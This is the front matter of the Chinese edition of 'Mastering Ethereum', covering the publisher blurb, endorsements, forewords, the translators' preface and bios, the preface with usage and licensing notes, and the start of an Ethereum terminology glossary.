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O’Reilly Media,Inc.介绍



O’Reilly Media通过图书、杂志、在线服务、调查研究和会议等方式传播创新知识。自1978年开始，O’Reilly一直都是前沿发展的见证者和推动者。超级极客们正在开创着未来，而我们关注真正重要的技术趋势——通过放大那些“细微的信号”来刺激社会对新科技的应用。作为技术社区中活跃的参与者，O’Reilly的发展充满了对创新的倡导、创造和发扬光大。

O’Reilly为软件开发人员带来革命性的“动物书”；创建第一个商业网站（GNN）；组织了影响深远的开放源代码峰会，以至于开源软件运动以此命名；创立了Make杂志，从而成为DIY革命的主要先锋；公司一如既往地通过多种形式缔结信息与人的纽带。O’Reilly的会议和峰会集聚了众多超级极客和高瞻远瞩的商业领袖，共同描绘出开创新产业的革命性思想。作为技术人士获取信息的选择，O’Reilly现在还将先锋专家的知识传递给普通的计算机用户。无论是通过书籍出版，在线服务或者面授课程，每一项O’Reilly的产品都反映了公司不可动摇的理念——信息是激发创新的力量。


业界评论


“O’Reilly Radar博客有口皆碑。”

——Wired

“O’Reilly凭借一系列（真希望当初我也想到了）非凡想法建立了数百万美元的业务。”

——Business 2.0

“O’Reilly Conference是聚集关键思想领袖的绝对典范。”

——CRN

“一本O’Reilly的书就代表一个有用、有前途、需要学习的主题。”

——Irish Times

“Tim是位特立独行的商人，他不光放眼于最长远、最广阔的视野并且切实地按照Yogi Berra的建议去做了：‘如果你在路上遇到岔路口，走小路（岔路）。’回顾过去Tim似乎每一次都选择了小路，而且有几次都是一闪即逝的机会，尽管大路也不错。”

——Linux Journal




本书赞誉



“这是一本非常全面的指南，从区块链的基础知识，到最新的智能合约编程实践，而且两位作者都是区块链领域的知名布道师。”

——Manuel Araoz，Zeppelin CTO

“《Mastering Bitcoin》是一本经典的参考书，它使更多的普通人理解了比特币和区块链技术；本书实现了同样的目的，让以太坊和世界计算机的概念变得普及。”

——Lane Rettig，以太坊核心开发人员

“如果你尝试开发自己的DApp，本书绝对是最好的入门图书！如果你对去中心化网络以及如何构建去中心化的应用程序感兴趣，Andreas和Gavin的这本书为你提供了全面的指南。”

——Taylor Gerring，区块链研究所执行董事

“我有幸阅读了Andreas和Gavin的这本新书，不得不说，我对它的广度、深度和可读性感到惊讶。它囊括了一切：以太坊的精彩历史、椭圆曲线的数学解释、Solidity教程，以及关于代币和ICO的法律讨论。它有足够的深度，可以作为教学参考资料；同时也有很好的可读性，即使只有初步的数学知识，也能够轻松读懂。在阅读了关于密码学的几个章节后，我觉得我对许多底层密码学概念有了更为扎实的理解。无论你是研究人员、开发者、经理、律师、学生或任何对以太坊技术未来发展方向感兴趣的人，我都强烈建议你将这本书置于自己的书架上。”

——Alex van de Sande，以太坊基金会设计师

“本书将成为未来的必读书，因为以太坊将像TCP/IP一样无处不在。它将成为去中心化的基础设施，推动技术的发展和繁荣。”

——Hudson Jameson，以太坊基金会社区组织者

“无论你是想要初步了解，还是尝试深入学习，本书对于关注以太坊的人来说都是一本完美的书。Gavin熟悉以太坊内部的技术细节，Andreas善于化繁为简，这本书充分发扬了两方面的优势。我多么希望在刚开始接触以太坊时，就能够读到这本书。”

——Taylor Monahan，MyCrypto创始人兼首席执行官




推荐序一



区块链技术在最近几年时间里不但获得了大量的媒体关注，其本身的发展速度可能也超出了所有人的想象。人们使用区块链技术不仅仅是因为其技术发展带来的比较竞争优势，而是更多地考虑到这种技术对社区治理和经济生产带来的深刻变革。如果说能源和信息主导了前几次的工业革命，我相信区块链技术也会深深地改变我们生活的这个世界。

谈到区块链技术，一般人首先想到的就是比特币。但是不得不说，比特币无论是在创新的广度还是深度上都和以太坊有差距。从比特币时代开始，人们开始大量关注密码学的实用及落地问题，过去十年密码学的发展超过了以往任何时代，那种繁荣程度让人很难相信过去这只是一个只有少数科学家才关注的领域。椭圆曲线、哈希算法、零知识证明等诸多概念都在区块链的世界里得到了非常切实的实践，共识机制的探讨也如火如荼，与之前图灵奖获得者Lamport的寂寞形成了巨大的反差。但这可能只是一个开始，以太坊开启了区块链2.0的大门，为区块链提供了实用的计算模型，不但打开了人们对区块链应用的巨大想象空间，也在过去几年的实践当中极大地推动了很多计算机基础科学的进步。比如，智能合约的出现使得形式化验证技术大放异彩，虽然这项技术在理论上并不算新，但在智能合约广泛应用之前并没有什么像样的应用场景。它原本只有非常小规模的应用，在航天或者军工等尖端领域并不能形成广泛的通用技术。但由于智能合约本身传递的价值非常高，又执行在一个不那么可信的环境中，且执行过程是对所有参与者透明的，就使得原本在传统软件业中很微小的瑕疵都能产生灾难性的后果。正是这种严苛的应用场景推动了诸如形式化验证技术的蓬勃发展。再比如，与编程语言相关的虚拟机技术和编译技术，以前都是少数技术极客或者计算机科学家的事。智能合约运行在一个巨大的分布式计算机中，而以前的大部分编程语言也好，虚拟机设计也好，隐含的假设都是在单个计算机系统中运行。因此，出现大量为智能合约设计的新语言和新虚拟机就不足为奇了。我们要看到这种真实需求与理论实践的巨大差异，回想一下科学发展的历史，就会发现有很多类似情形，比如蒸汽机发明之后所带来的工业变革推动了控制理论的建立。也有很多原本在理论上可行的东西终于找到了现实中对应的模型，就好比非欧几何找到了相对论。不仅仅是类似于零知识证明这样的革命性技术在快速演化，对于技术极客来说，在这个领域中的创新所遇到的唯一限制就是自己的想象力。

我们还不能简单地把以太坊理解为技术的集合。毕竟它拥有全球最大的区块链技术社区，总共大约有35万开发者，而这一数字还在快速增长。以太坊社区处在区块链技术发展的核心位置，即使新技术不是来自这个社区的实践，也会和这个社区产生非常良性的互动。如果我们不能理解这一点，就不能把握区块链发展的方向。目前很多独立的项目，其核心成员都是在以太坊社区做过重要贡献的人。从另外一个角度来说，以太坊是区块链2.0，在区块链1.0——比特币的基础上已前进一步，我们有理由相信，未来的区块链3.0，也就是下一代的革命性技术是来自以太坊社区的。在区块链技术的整个发展过程中，我们看到了技术社区所展现出的巨大生命力，全世界的技术极客热情地投入到共同建设区块链技术的体系当中，而且获得了广泛的商业支持，形成了可持续发展的共赢模式。以太坊社区的开放和包容促进了这种欣欣向荣的局面进一步发展。区块链技术不是一门具体的技术，也不是几种技术简单地拼凑在一起形成的解决方案，而是一个体系非常庞大的技术群落，技术之间相互影响、相互促进。只有在非常强有力的社区的支持下才能形成完整的生态体系，以太坊的技术专业分工的多元社区是我们目前看到的这些技术产生的土壤，这样的土壤也会孕育出更多让人期待的技术创新。

最后，我要说人类对“Trustless”的力量一无所知。大航海时代，人类不仅仅拓展了自己的疆域，对这个世界的认知的改变才是更为重要的。如果我们没有意识到地球是圆的，那么就不会有环球航行，更不会有新的天文观测手段，不会有通过天文观测实现的光速测量方法，也不会有后来的人造卫星等。可能这一切最初的起点就是由于我们纠正了原来局限的认知。只要我们认识到地球是圆的就会有这么多改变，那么我们意识到区块链技术所带来的Trustless体系后，是不是会改变更多？推导出质能方程是一回事，造出核电厂是另一回事。让人改变认知是非常困难的，这也是区块链技术拓展边界的障碍，这个技术太颠覆人们的常识，至少在信任关系上，需要漫长的过程才能获得人类社会的广泛认可。Trustless的力量是无穷的，是我们追求的星辰大海。

程显峰

火币集团CTO




推荐序二



区块链充满魔力，它给我们所在的网络世界带来了非常特别的改变，其本质是——通过数学降低人类的信任成本。

我算是很早就用比特币进行交易的人，由于过去十多年都在安全/黑客领域，早期的比特币仅仅作为我用于特殊领域的交易媒介。对于当时的我来说，觉得这很方便，居然有一种支付方式是匿名的，是大家形成共识的。而这种支付方式并不存在中心化监管，是一种去中心化支付方式，底层是数学，是严谨的算法，在这些之上是独特的经济模型，激励着这个网络的发展。这种共识机制被命名为PoW（Proof of Work），通过消耗大量算力，促进了比特币的价值发展，保证了整个网络的安全稳定。

以太坊借鉴了PoW这种共识机制，并有自己在共识机制上的独特发展路线，其中很大的原因在于以太坊本身的定位——在其网络基础上可以快速构建应用，我们称之为去中心化应用（DApp）。DApp的核心是智能合约，而智能合约运行在一个叫作EVM的虚拟机上。可以看到一个分层架构世界的出现。随着这个世界的发展，许多安全问题也在陆续出现，由于我的身份，这是我深入这个世界的最直接驱动力。所幸的是，这些安全事件都未能摧毁以太坊，但却屡次让我们意识到安全是必选项、底线、基础设施。

这个世界的进化出自无数天才之手，站在我的角度来看，如果想做好安全，离不开对方方面面的深入了解。我很乐意看到优秀书籍的出现，包括我有幸作序的这本。希望更多技术人员能沉下心来，探索与创造属于这个世界的特别的东西。我也希望通过自己微薄的力量，给这个世界带来更多的安全感。

余弦

慢雾科技联合创始人




译者序



以太坊和几乎所有数字货币，在过去两年中都经历了过山车一般的暴涨和暴跌。就像是20年前的互联网泡沫，任何技术的发展都要经历这样一个“吹尽黄沙始见金”的过程。

我在2018年冬天去捷克首都布拉格参加了第五届以太坊开发者大会。令人欣慰的是，在整个数字货币市场极为萧条的情况下，大会吸引了超过3000名来自世界各地的开发者和技术爱好者，以太坊在熊市中仍旧维持着顽强的生命力和极高的活跃度，参会的每一位开发者都对区块链技术在未来的广阔应用场景充满信心。在这些五彩缤纷的技术背后，体现的是极客对技术和改变世界的追求，对自由的渴望和向往。

本书的作者之一AA
 


[1]




 是数字货币领域著名的布道师，作为承担过同样工作的人，我深知“布道”对于一项新技术的普及和推广的重要性。我本人对比特币和区块链的认知，绝大部分都来源于AA的那本《Mastering Bitcoin》。当得知AA要写一本关于以太坊的著作时，我立刻迸发了要翻译这本书的念头，但是我也深知，翻译是一项非常辛苦甚至还可能“吃力不讨好”的工作，尤其是我这样一个区块链初学者，一不小心就会搞砸一本好书。

幸运的是，在翻译的过程中，我得到了多位好友的帮助，他们帮我分担了部分翻译工作，并解答了我在技术上的一些疑惑。这本书的第1、2、3、5、6、7、10章由我翻译完成，第11、14章和附录A、B由阿剑翻译完成，第8、12章由任露露翻译完成，第9、13章的EVM部分由杨镇翻译完成，第4、13章的gas部分和术语速查由Elisa Jiang翻译完成，吕国宁在翻译过程中提供了技术指导。团队的全体成员共同完成了译稿的润色和校对工作，最后由我统稿。

在此，我向参与本书翻译和校对工作的几位好友表示诚挚的感谢。同时，我也要感谢机械工业出版社对我们的信任，以及在翻译和出版过程中给予的帮助。

喻勇

2019年2月28日
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 技术社区对本书作者Andreas Antonopoulos的昵称。
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在技术圈驰骋多年，曾担任过微软技术布道师，VMware Cloud Foundry生态建设负责人，并有幸引领了国内容器技术的创业浪潮。目前赋闲在家，翻译图书，学习新知。



杨镇



资深软件工程师、区块链布道师，17年从业经验，对以太坊黄皮书中文版进行了独立校订和增补，是Solidity官方文档翻译项目管理员，《深入以太坊智能合约开发》一书作者。



阿剑



EthFans主编、译者，曾翻译过区块链相关文章共计十万余字。经济学学士，哲学爱好者，古典自由主义者，读书人。



任露露



元熵科技技术总监，Firestack技术社区联合创始人，R3 CordaLedger Contributor，公链项目Zilliqa Java SDK作者，对区块链和微服务技术有深入理解和实践。喜欢养猫。



Elisa Jiang



语言爱好者，2015年开始着迷以太坊，随后长期为EthFans社区输出各类文献的中文译本，累计翻译、校对数百篇文章。




前言



本书由Andreas M.Antonopoulos和Gavin Wood博士合著。一系列幸运的巧合将这两位作者聚集在一起，他们和数百名贡献者并肩写作，以最具开源精神和创造性的方式完成了本书。

Gavin一直希望写一本书，对以太坊黄皮书（他关于以太坊协议的技术描述）中的概念进行扩展和延伸，主要目的是向更广泛的读者介绍以太坊，这显然是充满了希腊字母和数学公式的黄皮书所无法完成的。

当Gavin与Andreas谈到写这本书的想法时，两人一拍即合，写书的计划按部就班地开始推进。Andreas是以太坊项目的早期参与者，他在这个领域也很有知名度。

当时，Andreas刚出版了他的著作《Mastering Bitcoin》
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 ，那本书迅速成为比特币和加密货币的权威技术指南。之后，Andreas的读者就开始问他：“你什么时候写《Mastering Ethereum》呢？”Andreas已经在考虑他的下一个项目，并发现以太坊是一个引人注目的技术主题。

最终，2016年5月，Gavin和Andreas在同一个城市巧遇。他们聚在一起喝咖啡，谈及这本书的计划。由于Andreas和Gavin都是开源理念的忠实拥护者，他们都希望通过社区协作的方式来完成这本书，并最终在Creative Commons许可下发布。值得庆幸的是，出版商O’Reilly Media非常支持这个想法，本书这个项目正式启动。



如何使用本书



本书既可以作为一本技术参考手册，也可供读者全面地了解以太坊。前两章主要是入门级的介绍，适合新手阅读，有一定技术能力的读者可以尝试完成其中的示例。这两章将使你对以太坊基础知识有很好的掌握，并教会你使用以太坊的基本工具。第3章及以后的内容主要面向程序员，包括许多技术主题和编程示例。

作为以太坊的参考手册和入门级教材，本书不可避免地包含一些重复的内容。例如，在一些章节中我们介绍了gas，主要目的是配合那些章节的内容；类似gas这样重要的内容，会有单独的章节重点介绍。



目标读者



本书主要面向程序员。如果你可以使用编程语言，本书将教会你运行智能合约的区块链的工作原理、使用方法以及如何使用它们开发智能合约和去中心化应用程序。前几章也适合非开发人员深入了解以太坊。



本书使用的术语和约定



本书使用以下字体约定：


斜体（Italic）


表示新的术语、URL、电子邮件地址、文件名和文件扩展名。


等宽字体（Constant width）


用于程序代码，以及用于引用程序元素的段落，例如变量或函数名称、数据库、数据类型、环境变量、语句和关键字等。


等宽粗体（Constant width bold）


显示应由用户按字面输入的命令或其他文本。


等宽斜体（Constant width italic）


显示应使用用户提供的值或由上下文确定的值替换的文本。


 　此图标表示提示或建议。


 　此图标表示普通注释。


 　此图标表示警告或注意。



示例代码



示例代码采用Solidity、Vyper和JavaScript编写，并使用类Unix操作系统的命令行。所有代码都可以在GitHub存储库中找到。请阅读书籍代码，尝试代码示例，或通过GitHub提交更正：
https://github.com/ethereumbook/ethereumbook

 。

所有代码片段都可以在大多数操作系统上进行复制，只需安装基本的编译器、解释器和相应语言的库。必要时，我们提供基本安装说明和关于输出的逐步说明。

一些代码片段和代码输出已重新格式化，以便进行印刷。在所有情况下，行都用反斜杠（\）字符分隔，然后是换行符。在录入这些代码时，请删除这两个字符并再次连接这些行，你应该看到与示例中显示的结果相同的结果。

所有代码片段都尽可能使用实际值和计算，以便读者可以从这些例子开始按顺序尝试，并在你编写的任何代码中获得相同的结果。例如，私钥和相应的公钥以及地址都是真实的。样本交易、合约、区块和区块链引用都已存在于实际的以太坊区块链中，并且是公共区块链的一部分，因此你可以查看它们。



示例代码的使用许可



这本书是为了帮助你完成工作。通常，如果本书提供了示例代码，你可以在程序和文档中使用它。除非复制了大部分代码，否则无须与我们联系以获得许可。例如，编写使用本书中几个代码块的程序不需要许可。出售或分发O’Reilly书籍中的示例CD-ROM需要获得许可。通过引用本书并引用示例代码来回答问题不需要许可。将本书中的大量示例代码合并到产品文档中需要获得许可。

我们不强制要求注明出处，但如果你能这样做，我们将对此表示感谢。注明出处应该包括书名、作者、出版商、ISBN和版权。例如“Mastering Ethereum by Andreas M.Antonopoulos and Dr.Gavin Wood(O’Reilly).Copyright 2019 The Ethereum Book LLC and Gavin Wood,978-1-491-97194-9”。

本书是根据Creative Commons Attribution-Noncommercial-No Derivative Works 4.0 International License（CC BY-NC-ND 4.0）提供的。

如果你认为自己对代码示例的使用超出了合理使用范围或上述许可范围，请随时通过permissions@oreilly.com与我们联系。



对公司和产品的引用



所有对公司和产品的引用都是为了教育、演示和参考目的。这并不表示作者对所提及的任何公司或产品进行背书。我们尚未测试本书中显示的任何产品、项目或代码段的操作或安全性。使用它们需要你自担风险！



本书中的以太坊地址和交易



本书中使用的绝大部分以太坊地址、交易、密钥、QR码和区块链数据都是真实的。这意味着你可以浏览区块链，查看作为示例提供的交易，使用你自己的脚本或程序检索它们，等等。

但请注意，在本书中使用过的地址的私钥已被“烧毁”。这意味着如果你向这些地址中的任何一个转账，这笔钱将永远丢失或（更可能）被挪用，因为阅读本书的任何人都可以使用书中出现过的私钥来获取这些地址中的以太币。


 　不要向这本书中的任何地址发送以太币或代币。你的数字资产将被其他知道私钥的读者带走，或永远丢失。



O’Reilly




 Safari（以前称为Safari Books Online）是一个会员制的培训和学习平台，适用于企业、政府、教育工作者和个人。

会员可以访问来自250多家出版商的数千本书籍、培训视频、学习路径、互动教程和策划播放列表，其中包括O’Reilly Media、Harvard Business Review、Prentice Hall Professional、Addison-Wesley Professional、Microsoft Press、Sams、Que、Peachpit Press、Adobe、Focal Press、Cisco Press、John Wiley＆Sons、Syngress、Morgan Kaufmann、IBM Redbooks、Packt、Adobe Press、FT Press、Apress、Manning、New Riders、McGraw-Hill、Jones&Bartlett、Course Technology，等等。

欲了解更多信息，请访问
http://oreilly.com/safari

 。



如何与我们联系



有关本书以及开放版权和翻译的信息，请访问
https://ethereumbook.info/

 。

请向出版商提出有关本书的评论和问题：

O’Reilly Media，Inc.

1005 Gravenstein Highway North

Sebastopol，CA 95472

800-998-9938（美国或加拿大）

707-829-0515（国际或当地）

707-829-0104（传真）

请将有关本书的评论或技术问题发送至bookquestions@oreilly.com。

有关我们的书籍、课程、会议和新闻的更多信息，请访问我们的网站
https://www.oreilly.com

 。

在Facebook上找到我们：
https://facebook.com/oreilly

 。

在Twitter上关注我们：
https://twitter.com/oreillymedia

 。

在YouTube上观看我们：
https://www.youtube.com/oreillymedia

 。



联系Andreas



读者可以在个人网站上联系Andreas M.Antonopoulos：
https://antonopoulos.com

 。

在YouTube上订阅Andreas的频道：
https://www.youtube.com/aantonop

 。

关注Andreas的Facebook页面：
https://www.facebook.com/AndreasMAntonopoulos

 。

在Twitter上关注Andreas：
https://twitter.com/aantonop

 。

在LinkedIn上与Andreas联系：
https://linkedin.com/company/aantonop

 。

Andreas还要感谢所有通过每月捐款支持他的工作的顾客。你可以通过
https://patreon.com/aantonop

 支持Andreas。



联系Gavin



读者可以在个人网站上联系Gavin Wood博士：
http://gavwood.com/

 。

在Twitter上关注Gavin：
https://twitter.com/gavofyork

 。

Gavin一般在Riot.im上的Polkadot Watercooler聊天室：
https://riot.im/app/#/room/#polkadot-watercooler:matrix.org

 。



来自Andreas的致谢



我把自己对文字和书籍的热爱归功于母亲Theresa，她在一栋墙上堆满了书的房子里把我养大。尽管自称是一个对技术充满恐惧的人，但母亲还是在1982年给我买了第一台电脑。我父亲Menelaos是一位土木工程师，在80岁时出版了他的第一本书，他教会了我逻辑和分析思想以及对科学和工程的热爱。

谢谢大家在整个旅程中对我的支持。



来自Gavin的致谢



我9岁的时候，母亲从邻居那里为我买了第一台电脑，没有它，我的技术进步无疑会减少。我童年时对电充满了恐惧，必须感谢Trevor和我的祖父母，他们一次又一次地履行着“在我给电脑插上电源时保护我”的重任，没有他们，电脑就没用了。还必须感谢我一生中所遇到的几位恩师，从邻居Sean（他教会我第一个计算机程序）到Quinn先生（他是我的小学老师），Quinn先生允许我去编程而不用上历史课，再到我的中学老师Richard Furlong Brown，他给我机会做更多编程，而不是成天打橄榄球。

必须感谢我孩子的母亲Jutta，感谢她一直以来的支持，感谢我生命中的许多人，无论是新朋友还是老朋友，这些朋友使我保持着理智。最后，我要向Aeron Buchanan致以最诚挚的感谢，没有他，我生命中最近这五年不可能像今天这样精彩，如果没有他的时间、支持和指导，这本书就不会像现在这样完美。
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资料来源



本书引用了各种公开和开放许可的来源：



https://github.com/ethereum/vyper/blob/master/README.md



（MIT许可）
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 （Arvix Non-Exclusive-Distribution）
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（Creative Commons CC BY 4.0许可）
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 这本书以比特币为例，深入浅出地介绍了区块链技术中的关键知识，是技术人员学习区块链的绝佳入门书籍。此书的中文版将由机械工业出版社出版。




术语速查



本术语表包含了许多在以太坊中使用的术语，本书中也不可避免地用到了许多。建议读者加上书签以便日后查阅。


账户（Account）


账户是一个对象，它包含地址、余额、nonce，并且存储了状态和代码（皆可为空）。账户可以是合约账户或者外部账户（EOA）。


地址（Address）


通常来说，地址代表的是一个合约或外部账户，可以在区块链上接收（即作为目标地址）或发送（即作为源地址）交易。更具体地说，地址是ECDSA公钥的Keccak哈希中最右的160位数。


断言（Assert）


Solidity语言中，assert(false)断言会编译成0xfe无效操作码，耗尽所有剩余gas并回退所有变更。当一次assert()断言失败时，意味着代码出现严重错误，你需要修改代码。可以使用assert()来检查代码，避免出现意外。


大端字节序（Big-endian）


代表从最高位字节开始的位置编号。与小端字节序（little-endian）相反，后者从最低位字节开始。


BIP（Bitcoin Improvement Proposals）


比特币改进提案，由比特币社区提交的一系列对比特币协议进行改进的提案。比如，BIP-21（比特币改进提案第21号）是建议比特币协议改进统一资源标识符（URI）的提案。


区块（Block）


一个关于其所包含交易的所需信息（区块头）的集合，以及称为ommer（叔块）的一组其他区块头。区块由以太坊网络中的矿工添加上链。


区块链（Blockchain）


以太坊网络中由工作量证明验证的区块序列，每个区块与其父块相连，可一直追溯到创世块。以太坊区块链与比特币的不同之处在于，前者没有区块大小限制，而使用gas上限来调整区块大小。


字节码（Bytecode）


为软件解释器或虚拟机的高效执行而设计的抽象指令集。与人类可读的源代码不同，字节码以数字格式表示。


“拜占庭”分叉（Byzantium fork）


以太坊网络在“大都会”开发阶段两次分叉中的第一次，包含EIP-649（以太坊改进提案第649号）：延迟“大都会”阶段的难度炸弹并降低区块奖励，使“冰河期”（见下文）推迟一年，区块奖励由5个以太币降至3个。


编译（Compiling）


将用高级编程语言（如Solidity）编写的代码转换成较低级语言（如以太坊虚拟机字节码）。


共识（Consensus）


当许多节点（通常是全网大多数节点）都在本地经验证的区块链上存有同样区块时，我们说网络达成共识。要与共识规则区别开来。


共识规则（Consensus rules）


每个全功能节点为了与其他节点保持一致所要遵循的区块验证规则。要与共识区别开来。


“君士坦丁堡”分叉（Constantinople fork）


这是“大都会”开发阶段两次分叉中的第二次，原计划在2018年年中执行升级。该次升级主要计划将共识算法更换成工作量证明与权益证明混合的算法。


合约账户（Contract account）


一个包含代码的账户，只要接收到来自其他账户（外部账户或合约）的交易就会执行合约代码。


创建合约交易（Contract creation transaction）


一种为了注册一个合约并将其记录在以太坊区块链上的特殊交易，其中接收者地址“为零”。（参见“零地址”）


去中心化自治组织（DAO,Decentralized Autonomous Organization）


去中心化自治组织是一类没有分层管理体系的公司或其他组织。“The DAO”同时也可以指代一份2016年4月30日发布的合约，其随后在2016年6月遭到攻击，并最终引起了在区块高度1192000发生的硬分叉。该分叉回退了被攻击的DAO合约，也导致以太坊与以太坊经典分裂成两个竞争系统。


DApp（Decentralized application）


去中心化应用程序。狭义地说，DApp可以是一个智能合约或网页上的用户界面；广义地说，是在开放的、去中心化的、点对点的基础设施服务之上建立的网络应用程序。此外，许多去中心化应用程序还包含去中心化存储与（或）通信协议和平台。


权证（Deed）


不可替代代币（NFT）标准是由ERC721提议的。与ERC20代币不同，权证（所有权证书）可以证明ERC721代币的所有权，且该所有权不可互换，但目前为止还未有任何司法管辖区承认其为合法文件。（参见“不可替代代币”）


难度（Difficulty）


对全网来说，设置产生单位工作量证明需要消耗多少算力。


数字签名（Digital signature）


数字签名算法使用户可以使用其私钥生成我们称之为文件“签名”的短数据串，并使任何拥有相应公钥、该文件签名与文档的人都可以验证：该文件确实由该特定私钥的所有者“签署”，且该文档在签署后未被更改。


ECDSA（Elliptic Curve Digital Signature Algorithm）


椭圆曲线数字签名算法，是以太坊使用的密码学算法，用来保证账户资金只能被其所有者支配。


EIP（Ethereum Improvement Proposal）


以太坊改进提案，用以描述对以太坊平台提出的改进建议的文件，以特定的格式向全体以太坊社区描述一个提议的新功能、新流程或新环境。更多信息可以参看
https://github.com/ethereum/EIPs

 。（参见“ERC”）


ENS（Ethereum Name Service）


以太坊域名服务。更多信息可参看
https://github.com/ethereum/ens/

 。


熵（Entropy）


在密码学的语境中，熵意味着不可预测性，也就是随机性高低。当我们生成一个秘密信息（如私钥）时，算法通常需要依赖于一个熵非常大的信源来保证其输出的随机性。


EOA（External Owned Account）


外部账户，即以太坊网络中由人类用户创建或为人类用户使用的账户。


ERC（Ethereum Request for Comments）


以太坊请求评论。ERC是给部分尝试定义以太坊具体使用标准的EIP贴上的标签。


Ethash


以太坊1.0版本中使用的工作量证明算法。更多信息请参考
https://github.com/ethereum/wiki/wiki/Ethash

 。


以太币（Ether）


以太坊生态系统中使用的原生加密货币，用来支付执行智能合约时产生的gas消耗，其货币符号为Ξ，是希腊语中大写的Xi字母。


事件（Event）


事件使以太坊虚拟机中的日志记录工具可用，而日志记录工具可在DApp的用户界面中触发JavaScript回调，后者又能监听这些事件。更多信息请参见
http://solidity.readthedocs.io/en/develop/contracts.html#events

 。


EVM（Ethereum Virtual Machine）


以太坊虚拟机，是基于栈的虚拟机，用于执行字节码。在以太坊中，其执行模型指定了在给定一系列字节码指令和一小组环境数据的情况下如何改变系统状态。这是通过虚拟状态机的正式模型指定的。


EVM汇编语言（EVM assembly language）


人类可读的以太坊虚拟机字节码的一种形式。


回退函数（Fallback function）


在缺失数据或无法匹配函数名称时的默认函数调用。


Faucet


免费提供测试网可用的测试以太币的服务。


finney


以太币的货币单位。10
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分叉（Fork）


在协议层面的一次改动，可能会产生一条竞争链，或造成在挖矿中对未来区块路径的暂时性分歧。


“前沿”版本（Frontier）


以太坊最初开发测试阶段的版本，在2015年7月上线，直到2016年3月。


Ganache


个人版以太坊区块链，用户可以在控制区块链操作的情况下用其进行代码测试、执行命令并检查状态。


gas


以太坊网络中为执行智能合约所消耗的虚拟“燃油”。以太坊虚拟机使用一种记账方法来衡量gas用量，以限制算力资源的消耗。（参见“图灵完备”）


gas上限（gas limit）


一个交易或一个区块允许消耗的最大gas量。


Gavin Wood


Gavin Wood是一名英国籍程序员，以太坊联合创始人，前首席技术官。2014年8月，他提出了Solidity这种面向合约的编程语言，用于编写智能合约。


创世块（Genesis block）


区块链上的第一个区块，用于初始化特定的区块链及其原生加密代币。


Geth（Go Ethereum）


以太坊的Go语言实现，是以太坊协议上最著名的实现。


硬分叉（Hard fork）


硬分叉也叫硬分叉改变，是区块链上产生的永久分歧，通常发生在拒绝升级的节点无法验证遵循新共识协议的已升级节点所创建的区块时。“硬分叉”不应与“分叉”“软分叉”“软件分叉”或“Git分叉”混淆。


哈希（Hash）


由可变长度输入，通过哈希函数（散列函数）生成的固定长度的数字指纹。


HD钱包（HD wallet）


分层确定性钱包，即使用分层确定性（HD）密钥创建与传输协议（BIP-32）的钱包。


HD钱包种子（HD wallet seed）


用来生成HD钱包中主私钥与主链码的短种子值。可以用助记词表示，以便人类复制、备份及恢复私钥。


“家园”版本（Homestead）


以太坊的第二个开发阶段，在2016年3月区块高度为1150000时发布。


ICAP（Inter-exchange Client Address Protocol）


互换客户端地址协议，是一种与国际银行账号（IBAN）编码部分兼容的以太坊地址编码形式，为以太坊地址提供通用、经校验且可互操作的编码。ICAP引入一个新的IBAN伪国家代码XE，即“eXtended Ethereum”，类似其他非司法管辖区货币的代码（如XBT、XRP、XCP）。


冰河期（Ice Age）


在以太坊区块链区块高度为200000时通过硬分叉执行的指数难度增长（又称为难度炸弹），以激励向权益证明的转变。


IDE（Integrated Development Environment）


综合开发环境，是一个结合了代码编辑器、编译器、运行时与调试器的用户界面。


部署代码不可改变问题（Immutable deployed code problem）


只要一份合约（或库）的代码部署上链，就无法改变。正常的软件开发需要修复可能出现的漏洞并增加新功能，因此该不可改变性对智能合约开发而言是个挑战。


内部交易（也称为“消息”）（Internal transaction）


从一个合约账户发往另一个合约账户或外部账户的交易。


IPFS（InterPlanetary File System）


星际文件系统，是一个旨在创建开源且分布式存储和共享文件的网络传输协议。它是一种内容可寻址的对等超媒体分发协议。


密钥导出函数（KDF，Key Derivation Function）


也称为密钥延伸算法，通过密钥库文件格式来防止暴力破解，防止攻击者预先计算派生密钥的字典或“彩虹表”，通过重复计算密令的哈希来实现。


Keccak-256


以太坊协议使用的加密哈希函数。Keccak-256是从SHA-3规范演化出来的。


密钥库文件（Keystore File）


一个包含单个（随机生成的）私钥的JSON编码文件，用密令加密以提高安全性。


LevelDB


一个轻量、开源的键值对存储库，它是单一用途的数据库，可以绑定到许多平台。


库（Library）


以太坊中的库是一类特殊的合约，它不可填值，无回退函数，也无数据存储。因此，库无法接收或持有以太币，也无法存储数据。以太坊上的库是其他合约可以为只读计算调用的先前部署的代码。


轻客户端（Lightweight client）


一类不在本地保存区块链副本，也无法验证区块和交易的以太坊客户端，具有钱包功能，也可以用其创建并广播交易。


默克尔帕特里夏树（Merkle Patricia tree）


以太坊协议中用于高效存储键值对的数据结构。


消息（Message）


一个永不串行且只能在以太坊虚拟机内发送的内部交易。


消息调用（Message call）


将消息从一个账户传递到另一个账户的行为。如果目标账户与以太坊虚拟机代码相关联，则将使用该对象的状态启动虚拟机并执行该消息的操作。


ME代币（METoken）


精通以太坊代币，即本书中用来演示的ERC20代币。


“大都会”阶段（Metropolis）


以太坊开发的第三阶段，在2017年10月发布。


矿工（Miner）


通过不断做哈希运算，找到新区块的有效工作量证明的网络节点。


Mist


Mist是以太坊基金会开发的首个支持以太坊的浏览器。它包含一个浏览器内置的钱包，这也是首个ERC20代币标准的实现（ERC20标准的作者Fabian Vogelsteller同时也是Mist的主要开发者）。Mist还是第一个引入camelCase校验和（EIP-155提出，详见第4章）的钱包。Mist浏览器运行全功能节点，提供支持基于Swarm协议的存储和ENS地址的完整的DApp浏览器。


网络（Network）


以太坊网络，将交易与区块传播到每个以太坊节点（网络参与者）的点对点网络。


不可替代代币（NFT）


也叫“所有权证书”或“权证”，是由ERC721议案提出的代币标准。不可替代代币能够被追溯也可以交易，每个代币是唯一且独一无二的，不像ERC20代币，每个NFT都是无法互换的。NFT能够代表数字或物理资产的所有权。


节点（Node）


参与点对点网络的软件客户端。


nonce


在密码学中，nonce指的是一个在加密通信中只能使用一次的值。以太坊中有两类nonce：账户nonce，用于每个账户中的交易计数，防止重放攻击；工作量证明nonce，区块中用于满足工作量证明的随机值。


Ommer


某一个父块的子块，且自身不是任何区块的父块。当一个矿工找到有效区块时，另一个矿工可能已经发布了一个竞争区块并将其添加上链。与比特币不同，以太坊中的孤块可以被更新的区块作为ommer打包，并获得部分区块奖励。使用术语“ommer”是对同一个父块下不同子块的中性表达，但也有人称其为“叔块”（uncle）。


Parity


以太坊客户端软件中最著名的可互操作实现之一。


私钥（Private key）


参见“密钥”。
